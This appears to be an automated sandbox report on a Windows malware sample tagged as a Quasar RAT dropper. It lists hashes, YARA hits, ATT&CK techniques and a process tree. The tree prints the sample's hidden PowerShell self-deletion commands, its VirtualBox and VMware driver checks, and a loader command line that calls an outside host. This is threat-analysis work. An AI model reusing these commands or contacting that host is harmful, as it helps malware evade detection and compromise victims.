df98bb33bcd796ec7a9570a5f23d8173efaff982407444799555c8be0d3e8e88

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 03:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-27_7d0846393ba220ebe2ce3bcad6ce31e7_akira_glassworm_quasar-rat.exe
Size 2.2MB
Sample260727-ebecvaverh
SHA256 df98bb33bcd796ec7a9570a5f23d8173efaff982407444799555c8be0d3e8e88
MD5 7d0846393ba220ebe2ce3bcad6ce31e7
SHA1 54a4d2a775b4140724abdb746286d338d6fc538e
SHA512 02a0c7bcae72642818792b20b095e1ba7aa0fbf0cdcba5c48ef62db4267dc7a6b900828880c300a1d466ca6a5d4fb818236fd76ee57d056e49f4bec508210d42
SSDEEP 49152:/IcobmSBSIy6Eq06upX0jDdKAERXIlIU6is:/gIq06aX+s
TLSH
T1DFB57C43F6A290EDC55AC078D34AA233FA32BC8D0635B9A757D0DB303E66F506A1DB15
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution

Malware Config

Signatures

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5da-16.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables containing URLs to raw contents of a Github gist 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5da-16.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Detects executables referencing combination of virtualization drivers 2 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5d4-3.dat	INDICATOR_SUSPICIOUS_VM_Evasion_VirtDrvComb
behavioral2/memory/3416-5-0x00007FF6909F0000-0x00007FF691030000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_VirtDrvComb

Looks for VirtualBox drivers on disk 2 TTPs 4 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\VBoxMouse.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxGuest.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxSF.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\VBoxVideo.sys	SearchHost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1704	powershell.exe
4356	powershell.exe

Looks for VMWare drivers on disk 2 TTPs 3 IoCs

defense_evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\Windows\System32\drivers\vmhgfs.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\vmmouse.sys	SearchHost.exe
File opened (read-only)	C:\Windows\System32\drivers\vmci.sys	SearchHost.exe

Executes dropped EXE 5 IoCs

pid	Process
3416	SearchHost.exe
208	RuntimeBroker.exe
4636	WinPKG.exe
796	RuntimeBroker.exe
3920	Sysfun32.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	SearchHost.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3416	SearchHost.exe
3416	SearchHost.exe
3416	SearchHost.exe
3416	SearchHost.exe
1704	powershell.exe
4636	WinPKG.exe
208	RuntimeBroker.exe
208	RuntimeBroker.exe
208	RuntimeBroker.exe
208	RuntimeBroker.exe
208	RuntimeBroker.exe
208	RuntimeBroker.exe
3920	Sysfun32.exe
4356	powershell.exe
4356	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	4356	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3556 wrote to memory of 3416	3556	2026-07-27_7d0846393ba220ebe2ce3bcad6ce31e7_akira_glassworm_quasar-rat.exe	89
PID 3416 wrote to memory of 1704	3416	SearchHost.exe	90
PID 3556 wrote to memory of 208	3556	2026-07-27_7d0846393ba220ebe2ce3bcad6ce31e7_akira_glassworm_quasar-rat.exe	91
PID 3556 wrote to memory of 4636	3556	2026-07-27_7d0846393ba220ebe2ce3bcad6ce31e7_akira_glassworm_quasar-rat.exe	92
PID 208 wrote to memory of 796	208	RuntimeBroker.exe	93
PID 3556 wrote to memory of 3920	3556	2026-07-27_7d0846393ba220ebe2ce3bcad6ce31e7_akira_glassworm_quasar-rat.exe	95
PID 3556 wrote to memory of 4356	3556	2026-07-27_7d0846393ba220ebe2ce3bcad6ce31e7_akira_glassworm_quasar-rat.exe	96

C:\Users\Admin\AppData\Local\Temp\2026-07-27_7d0846393ba220ebe2ce3bcad6ce31e7_akira_glassworm_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-27_7d0846393ba220ebe2ce3bcad6ce31e7_akira_glassworm_quasar-rat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3556
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe
  "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe"
  2⤵
  - Looks for VirtualBox drivers on disk
  - Looks for VMWare drivers on disk
  - Executes dropped EXE
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue'; Start-Sleep -Seconds 2; $p='C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe'; for($i=0;$i -lt 40;$i++){ if(-not (Test-Path -LiteralPath $p)){ break }; Remove-Item -LiteralPath $p -Force -ErrorAction SilentlyContinue; Start-Sleep -Milliseconds 400 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1704
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe
  "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe" --u Rift --s https://illusionclient.lol --wp /637755f5efd017953e93fab0 --cp /813ff59853da4b52667165cb --loader
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe" --watchdog 208 --u Rift --s https://illusionclient.lol --wp /637755f5efd017953e93fab0 --cp /813ff59853da4b52667165cb --loader
    3⤵
    - Executes dropped EXE
    PID:796
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\WinPKG.exe
  "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\WinPKG.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4636
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\Sysfun32.exe
  "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\Sysfun32.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue'; Start-Sleep -Seconds 2; $p='C:\Users\Admin\AppData\Local\Temp\2026-07-27_7d0846393ba220ebe2ce3bcad6ce31e7_akira_glassworm_quasar-rat.exe'; for($i=0;$i -lt 30;$i++){ if(-not (Test-Path -LiteralPath $p)){ break }; Remove-Item -LiteralPath $p -Force -ErrorAction SilentlyContinue; Start-Sleep -Milliseconds 500 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4356

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

File and Directory Discovery

T1083

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RuntimeBroker.exe

Path C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe
Size 7.3MB
SHA256 e0d65166bee9744f857074e266b74a6572ea818da77e44008b4a69a1e3167cfc
MD5 b658107d0817f3112ae0baf084546dc5
SHA1 719b98ac2899ad3ee8af2703dc76bda07a39577e
SHA512 510dc6242044e8c2571c10d172eeb3ddde53b3353105c48bb19812b6a2a680e62fe3a8a1dec8ac3c539d6e55e38275015a9196ad822a0c77ec5629eca7acf244
SSDEEP 49152:XsNbBHoGj7fS7qmeHaQLcKzMCrO98fLGBLPM1eWGyUYzJSYftJFZdk2yzeA0J72s:cnjDwQLcKHh6p7ynqeVeHSH
TLSH
T1DE761811FA1B699CC05AC170828A4A329A35B4DF0B35BAFF558442383F6DBF55F3C698
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SearchHost.exe

Path C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe
Size 6.2MB
SHA256 429467fa585ec4f7e0c27495676a107226f3364e6770060c34e9b364c92fa8ac
MD5 6eb2ad53c53ceaf405b3c3bc28553c74
SHA1 7985528016d283b11cd66e3aacc6e1e792729cf6
SHA512 926928c03d6a59d0733e319ef4b5548f6f74b49c9581730a83432cceabdb769c17a7a7b6660c5c275b8d56951d970cacdf9344a7f78ffebdbb00b4d87946a631
SSDEEP 98304:r6jy+7u2wTM/Qto7v5kxIPkxawphUuvIFjO+JHd:rFzQvuGtdOQ
TLSH
T19E666C43F6A390EDC56BC074835AA233FA32B85905317AAB57D0CB313E52F60AE5DB54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rt.cfg

Path C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\rt.cfg
Size 94B
SHA256 b56bab9900c8a003487949927dc1f4ffca3eaea14196b70fb3e4b847852ab4de
MD5 4440ef011fbaf36241240114ae9f136f
SHA1 6411f885013617979b88e9c09aedce528b3782ce
SHA512 6d9af5791df24e576d009ecbcdc584827cda1c2fca2c0509ce58f1b2d47208a2616d74f873c78350ba567d6f8d3bcbb0d72e34d24e84be329ff8ed3ecb58ecaf
TLSH
T155B01273049090A963070B51F5013048303BD83BC8C29420B12582801A400753B85485
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1704-6-0x00007FFDF3EFF000-0x00007FFDF3F00000-memory.dmp

Download

memory/1704-7-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/1704-10-0x000001CF3B6D0000-0x000001CF3B6F2000-memory.dmp

Download

memory/1704-11-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/1704-12-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/3416-5-0x00007FF6909F0000-0x00007FF691030000-memory.dmp

Download

memory/3556-29-0x00007FF67A680000-0x00007FF67A8B7000-memory.dmp

Download

memory/3556-35-0x00007FF67A680000-0x00007FF67A8B7000-memory.dmp

Download